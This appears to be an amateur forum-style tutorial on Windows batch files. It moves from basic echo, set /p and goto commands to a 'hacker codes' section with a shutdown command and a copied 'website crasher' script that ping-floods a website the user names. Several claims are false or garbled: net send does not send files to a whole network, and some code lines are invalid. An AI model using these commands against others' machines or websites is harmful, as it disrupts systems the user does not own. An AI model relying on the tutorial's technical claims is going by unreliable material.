Introduction: BATCH (.bat) Files

OK don't worry we aren't getting that advance yet we just started.

but still let me set up my legend


* = 1st time start coding , 2nd time stop

%N% = whatever name here you want (change the name each time if its a choice)

%C% = choice (means the choice number for example look below)

() = don't type this.


echo 1.START

set /p input0=

if %input0% equ 1 goto START

well 1=%C%


Step 1: 1st Step (BASICS)

the first few codes you should learn is these.


@echo off

echo %N%




take some time to use these in either Notepad or Notepad++ (if you want to make a living out of this you should use notepad++)

next codes are a bit more advance.


set /p input%N%=

if %input%N% equ 1 goto START

if %input%N% equ 2 exit


if you think that's hard well we're just getting started just get used to this (note it when i first started i forgot how to do this quite a bit)

also when you use

set /p input%N%

always change the number of the input other wise it won't work right.

delay codes


timeout 5 (or any number you want to delay)

NETSH Diag Ping Loopback (5 seconds delay it doesn't shop up on the users perspective and unfournately can't be extended)


Step 2: Step 2 . a Few Hacker Codes

WARNING: we are not held responsible for how this information is used or enhanced.


%F% = file name (you want to send)

net send %F% (sends the whole network a file and instantly shows up in their desktop)

start shutdown -s -t 10 -c "shut down message here."



@echo off

@title Website crasher

color Oe

echo Enter the website you wish to crash

set input=

set /p input= Enter website here :

if %input%==goto A if NOT B

echo processing Your request

ping localhost>nul

echo to end crashing press CTRL + C

ping localhost>nul


echo ___________________________________________________________________

echo Now crashing website...DO NOT CLOSE THIS BOX!! PRESS CTLR + C TO END


ping %input% -t -l 1000


By the way i copied this from another user but i thought it was really cool and deiced to re-post it.

thank you for reading and learning.